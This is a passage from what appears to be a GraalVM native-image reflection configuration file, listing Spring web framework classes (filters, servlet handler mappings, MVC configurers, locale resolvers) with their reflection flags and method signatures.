\"name\":\"org.springframework.web.context.support.WebApplicationObjectSupport\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"setServletContext\",\"parameterTypes\":[\"jakarta.servlet.ServletContext\"] }]\n},\n{\n  \"name\":\"org.springframework.web.cors.CorsConfiguration\"\n},\n{\n  \"name\":\"org.springframework.web.cors.CorsConfigurationSource\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.web.cors.CorsProcessor\"\n},\n{\n  \"name\":\"org.springframework.web.filter.CharacterEncodingFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getEncoding\",\"parameterTypes\":[] }, {\"name\":\"isForceRequestEncoding\",\"parameterTypes\":[] }, {\"name\":\"isForceResponseEncoding\",\"parameterTypes\":[] }, {\"name\":\"setEncoding\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setForceEncoding\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setForceRequestEncoding\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setForceResponseEncoding\",\"parameterTypes\":[\"boolean\"] }]\n},\n{\n  \"name\":\"org.springframework.web.filter.CorsFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.web.filter.DelegatingFilterProxy\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.filter.FormContentFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"setCharset\",\"parameterTypes\":[\"java.nio.charset.Charset\"] }, {\"name\":\"setFormConverter\",\"parameterTypes\":[\"org.springframework.http.converter.FormHttpMessageConverter\"] }]\n},\n{\n  \"name\":\"org.springframework.web.filter.GenericFilterBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"destroy\",\"parameterTypes\":[] }, {\"name\":\"getEnvironment\",\"parameterTypes\":[] }, {\"name\":\"getFilterConfig\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[\"jakarta.servlet.FilterConfig\"] }, {\"name\":\"setBeanName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setEnvironment\",\"parameterTypes\":[\"org.springframework.core.env.Environment\"] }, {\"name\":\"setServletContext\",\"parameterTypes\":[\"jakarta.servlet.ServletContext\"] }]\n},\n{\n  \"name\":\"org.springframework.web.filter.OncePerRequestFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"doFilter\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\",\"jakarta.servlet.FilterChain\"] }]\n},\n{\n  \"name\":\"org.springframework.web.filter.RequestContextFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"setThreadContextInheritable\",\"parameterTypes\":[\"boolean\"] }]\n},\n{\n  \"name\":\"org.springframework.web.filter.ServerHttpObservationFilter\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.method.ControllerAdviceBean\"\n},\n{\n  \"name\":\"org.springframework.web.method.HandlerMethod\"\n},\n{\n  \"name\":\"org.springframework.web.method.annotation.ExceptionHandlerMethodResolver\",\n  \"methods\":[{\"name\":\"noMatchingExceptionHandler\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.method.annotation.InitBinderDataBinderFactory\"\n},\n{\n  \"name\":\"org.springframework.web.method.annotation.ModelFactory\"\n},\n{\n  \"name\":\"org.springframework.web.method.annotation.SessionAttributesHandler\"\n},\n{\n  \"name\":\"org.springframework.web.method.support.CompositeUriComponentsContributor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"contributeMethodArgument\",\"parameterTypes\":[\"org.springframework.core.MethodParameter\",\"java.lang.Object\",\"org.springframework.web.util.UriComponentsBuilder\",\"java.util.Map\",\"org.springframework.core.convert.ConversionService\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"supportsParameter\",\"parameterTypes\":[\"org.springframework.core.MethodParameter\"] }]\n},\n{\n  \"name\":\"org.springframework.web.method.support.InvocableHandlerMethod\"\n},\n{\n  \"name\":\"org.springframework.web.method.support.ModelAndViewContainer\"\n},\n{\n  \"name\":\"org.springframework.web.method.support.UriComponentsContributor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.web.multipart.MultipartException\"\n},\n{\n  \"name\":\"org.springframework.web.multipart.MultipartFile\"\n},\n{\n  \"name\":\"org.springframework.web.multipart.MultipartHttpServletRequest\"\n},\n{\n  \"name\":\"org.springframework.web.multipart.MultipartResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.web.multipart.support.StandardServletMultipartResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"cleanupMultipart\",\"parameterTypes\":[\"org.springframework.web.multipart.MultipartHttpServletRequest\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"isMultipart\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\"] }, {\"name\":\"resolveMultipart\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.reactive.DispatcherHandler\"\n},\n{\n  \"name\":\"org.springframework.web.reactive.HandlerResult\"\n},\n{\n  \"name\":\"org.springframework.web.reactive.config.EnableWebFlux\"\n},\n{\n  \"name\":\"org.springframework.web.reactive.config.WebFluxConfigurer\"\n},\n{\n  \"name\":\"org.springframework.web.reactive.function.client.ExchangeFilterFunction\"\n},\n{\n  \"name\":\"org.springframework.web.reactive.function.client.WebClient\"\n},\n{\n  \"name\":\"org.springframework.web.service.annotation.HttpExchange\"\n},\n{\n  \"name\":\"org.springframework.web.service.annotation.HttpExchangeBeanRegistrationAotProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.DispatcherServlet\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.FlashMap\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.FlashMapManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.FrameworkServlet\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"destroy\",\"parameterTypes\":[] }, {\"name\":\"getContextAttribute\",\"parameterTypes\":[] }, {\"name\":\"getContextClass\",\"parameterTypes\":[] }, {\"name\":\"getContextConfigLocation\",\"parameterTypes\":[] }, {\"name\":\"getContextId\",\"parameterTypes\":[] }, {\"name\":\"getNamespace\",\"parameterTypes\":[] }, {\"name\":\"getServletContextAttributeName\",\"parameterTypes\":[] }, {\"name\":\"isEnableLoggingRequestDetails\",\"parameterTypes\":[] }, {\"name\":\"onApplicationEvent\",\"parameterTypes\":[\"org.springframework.context.event.ContextRefreshedEvent\"] }, {\"name\":\"refresh\",\"parameterTypes\":[] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"setContextAttribute\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setContextClass\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"setContextConfigLocation\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setContextId\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setContextInitializerClasses\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setContextInitializers\",\"parameterTypes\":[\"org.springframework.context.ApplicationContextInitializer[]\"] }, {\"name\":\"setDispatchOptionsRequest\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setDispatchTraceRequest\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setEnableLoggingRequestDetails\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setNamespace\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setPublishContext\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setPublishEvents\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setThreadContextInheritable\",\"parameterTypes\":[\"boolean\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.HandlerAdapter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.web.servlet.HandlerExceptionResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.HandlerExecutionChain\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.HandlerInterceptor\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.HandlerMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.HttpServletBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getEnvironment\",\"parameterTypes\":[] }, {\"name\":\"getServletName\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[] }, {\"name\":\"setEnvironment\",\"parameterTypes\":[\"org.springframework.core.env.Environment\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.LocaleResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.ModelAndView\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.RequestToViewNameTranslator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.ThemeResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.View\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.ViewResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.config.annotation.AsyncSupportConfigurer\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.config.annotation.ContentNegotiationConfigurer\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.config.annotation.CorsRegistry\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.config.annotation.DefaultServletHandlerConfigurer\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.config.annotation.DelegatingWebMvcConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"setConfigurers\",\"parameterTypes\":[\"java.util.List\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.config.annotation.EnableWebMvc\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.servlet.config.annotation.InterceptorRegistry\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.config.annotation.PathMatchConfigurer\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.config.annotation.ResourceHandlerRegistration\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.config.annotation.ViewControllerRegistry\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.config.annotation.ViewResolverRegistry\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.config.annotation.WebMvcConfigurationSupport\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"beanNameHandlerMapping\",\"parameterTypes\":[\"org.springframework.format.support.FormattingConversionService\",\"org.springframework.web.servlet.resource.ResourceUrlProvider\"] }, {\"name\":\"defaultServletHandlerMapping\",\"parameterTypes\":[] }, {\"name\":\"handlerExceptionResolver\",\"parameterTypes\":[\"org.springframework.web.accept.ContentNegotiationManager\"] }, {\"name\":\"handlerFunctionAdapter\",\"parameterTypes\":[] }, {\"name\":\"httpRequestHandlerAdapter\",\"parameterTypes\":[] }, {\"name\":\"mvcHandlerMappingIntrospector\",\"parameterTypes\":[] }, {\"name\":\"mvcPathMatcher\",\"parameterTypes\":[] }, {\"name\":\"mvcPatternParser\",\"parameterTypes\":[] }, {\"name\":\"mvcResourceUrlProvider\",\"parameterTypes\":[] }, {\"name\":\"mvcUriComponentsContributor\",\"parameterTypes\":[\"org.springframework.format.support.FormattingConversionService\",\"org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter\"] }, {\"name\":\"mvcUrlPathHelper\",\"parameterTypes\":[] }, {\"name\":\"mvcViewResolver\",\"parameterTypes\":[\"org.springframework.web.accept.ContentNegotiationManager\"] }, {\"name\":\"requestMappingHandlerAdapter\",\"parameterTypes\":[\"org.springframework.web.accept.ContentNegotiationManager\",\"org.springframework.format.support.FormattingConversionService\",\"org.springframework.validation.Validator\"] }, {\"name\":\"requestMappingHandlerMapping\",\"parameterTypes\":[\"org.springframework.web.accept.ContentNegotiationManager\",\"org.springframework.format.support.FormattingConversionService\",\"org.springframework.web.servlet.resource.ResourceUrlProvider\"] }, {\"name\":\"resourceHandlerMapping\",\"parameterTypes\":[\"org.springframework.web.accept.ContentNegotiationManager\",\"org.springframework.format.support.FormattingConversionService\",\"org.springframework.web.servlet.resource.ResourceUrlProvider\"] }, {\"name\":\"routerFunctionMapping\",\"parameterTypes\":[\"org.springframework.format.support.FormattingConversionService\",\"org.springframework.web.servlet.resource.ResourceUrlProvider\"] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"setServletContext\",\"parameterTypes\":[\"jakarta.servlet.ServletContext\"] }, {\"name\":\"simpleControllerHandlerAdapter\",\"parameterTypes\":[] }, {\"name\":\"viewControllerHandlerMapping\",\"parameterTypes\":[\"org.springframework.format.support.FormattingConversionService\",\"org.springframework.web.servlet.resource.ResourceUrlProvider\"] }, {\"name\":\"viewNameTranslator\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.config.annotation.WebMvcConfigurationSupport$NoOpValidator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"supports\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"validate\",\"parameterTypes\":[\"java.lang.Object\",\"org.springframework.validation.Errors\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.config.annotation.WebMvcConfigurer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"addArgumentResolvers\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"addCorsMappings\",\"parameterTypes\":[\"org.springframework.web.servlet.config.annotation.CorsRegistry\"] }, {\"name\":\"addFormatters\",\"parameterTypes\":[\"org.springframework.format.FormatterRegistry\"] }, {\"name\":\"addInterceptors\",\"parameterTypes\":[\"org.springframework.web.servlet.config.annotation.InterceptorRegistry\"] }, {\"name\":\"addResourceHandlers\",\"parameterTypes\":[\"org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry\"] }, {\"name\":\"addReturnValueHandlers\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"addViewControllers\",\"parameterTypes\":[\"org.springframework.web.servlet.config.annotation.ViewControllerRegistry\"] }, {\"name\":\"configureAsyncSupport\",\"parameterTypes\":[\"org.springframework.web.servlet.config.annotation.AsyncSupportConfigurer\"] }, {\"name\":\"configureContentNegotiation\",\"parameterTypes\":[\"org.springframework.web.servlet.config.annotation.ContentNegotiationConfigurer\"] }, {\"name\":\"configureDefaultServletHandling\",\"parameterTypes\":[\"org.springframework.web.servlet.config.annotation.DefaultServletHandlerConfigurer\"] }, {\"name\":\"configureHandlerExceptionResolvers\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"configureMessageConverters\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"configurePathMatch\",\"parameterTypes\":[\"org.springframework.web.servlet.config.annotation.PathMatchConfigurer\"] }, {\"name\":\"configureViewResolvers\",\"parameterTypes\":[\"org.springframework.web.servlet.config.annotation.ViewResolverRegistry\"] }, {\"name\":\"extendHandlerExceptionResolvers\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"extendMessageConverters\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"getMessageCodesResolver\",\"parameterTypes\":[] }, {\"name\":\"getValidator\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.function.HandlerFunction\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.function.RouterFunction\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.function.ServerRequest\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.function.ServerResponse\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.function.support.HandlerFunctionAdapter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getLastModified\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"java.lang.Object\"] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"handle\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"jakarta.servlet.http.HttpServletResponse\",\"java.lang.Object\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"supports\",\"parameterTypes\":[\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.function.support.RouterFunctionMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"match\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"java.lang.String\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.handler.AbstractDetectingUrlHandlerMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"initApplicationContext\",\"parameterTypes\":[] }, {\"name\":\"setDetectHandlersInAncestorContexts\",\"parameterTypes\":[\"boolean\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.handler.AbstractHandlerMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getCorsConfigurationSource\",\"parameterTypes\":[] }, {\"name\":\"getCorsProcessor\",\"parameterTypes\":[] }, {\"name\":\"getDefaultHandler\",\"parameterTypes\":[] }, {\"name\":\"getHandler\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\"] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"getPathMatcher\",\"parameterTypes\":[] }, {\"name\":\"getPatternParser\",\"parameterTypes\":[] }, {\"name\":\"getUrlPathHelper\",\"parameterTypes\":[] }, {\"name\":\"setAlwaysUseFullPath\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setBeanName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setCorsConfigurationSource\",\"parameterTypes\":[\"org.springframework.web.cors.CorsConfigurationSource\"] }, {\"name\":\"setCorsConfigurations\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"setCorsProcessor\",\"parameterTypes\":[\"org.springframework.web.cors.CorsProcessor\"] }, {\"name\":\"setDefaultHandler\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"setInterceptors\",\"parameterTypes\":[\"java.lang.Object[]\"] }, {\"name\":\"setOrder\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setPathMatcher\",\"parameterTypes\":[\"org.springframework.util.PathMatcher\"] }, {\"name\":\"setPatternParser\",\"parameterTypes\":[\"org.springframework.web.util.pattern.PathPatternParser\"] }, {\"name\":\"setRemoveSemicolonContent\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setUrlDecode\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setUrlPathHelper\",\"parameterTypes\":[\"org.springframework.web.util.UrlPathHelper\"] }, {\"name\":\"usesPathPatterns\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.handler.AbstractHandlerMethodMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getDirectPaths\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"getHandlerMethods\",\"parameterTypes\":[] }, {\"name\":\"getHandlerMethodsForMappingName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getMappingPathPatterns\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"getMatchingMapping\",\"parameterTypes\":[\"java.lang.Object\",\"jakarta.servlet.http.HttpServletRequest\"] }, {\"name\":\"getNamingStrategy\",\"parameterTypes\":[] }, {\"name\":\"handleMatch\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\",\"jakarta.servlet.http.HttpServletRequest\"] }, {\"name\":\"initCorsConfiguration\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.reflect.Method\",\"java.lang.Object\"] }, {\"name\":\"registerHandlerMethod\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.reflect.Method\",\"java.lang.Object\"] }, {\"name\":\"registerMapping\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.Object\",\"java.lang.reflect.Method\"] }, {\"name\":\"setDetectHandlerMethodsInAncestorContexts\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setHandlerMethodMappingNamingStrategy\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMethodMappingNamingStrategy\"] }, {\"name\":\"setPatternParser\",\"parameterTypes\":[\"org.springframework.web.util.pattern.PathPatternParser\"] }, {\"name\":\"unregisterMapping\",\"parameterTypes\":[\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$EmptyHandler\",\n  \"methods\":[{\"name\":\"handle\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.handler.AbstractUrlHandlerMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getRootHandler\",\"parameterTypes\":[] }, {\"name\":\"match\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"java.lang.String\"] }, {\"name\":\"setLazyInitHandlers\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setPatternParser\",\"parameterTypes\":[\"org.springframework.web.util.pattern.PathPatternParser\"] }, {\"name\":\"setRootHandler\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"setUseTrailingSlashMatch\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"useTrailingSlashMatch\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.handler.HandlerExceptionResolverComposite\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"resolveException\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"jakarta.servlet.http.HttpServletResponse\",\"java.lang.Object\",\"java.lang.Exception\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.handler.HandlerMappingIntrospector\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getCorsConfiguration\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\"] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$AttributesPreservingRequest\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.handler.HandlerMappingIntrospector$CachedResult\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.handler.HandlerMethodMappingNamingStrategy\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.handler.MappedInterceptor\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.handler.MatchableHandlerMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.web.servlet.handler.RequestMatchResult\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.handler.SimpleUrlHandlerMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.i18n.AbstractLocaleResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"setDefaultLocale\",\"parameterTypes\":[\"java.util.Locale\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.i18n.AcceptHeaderLocaleResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"resolveLocale\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\"] }, 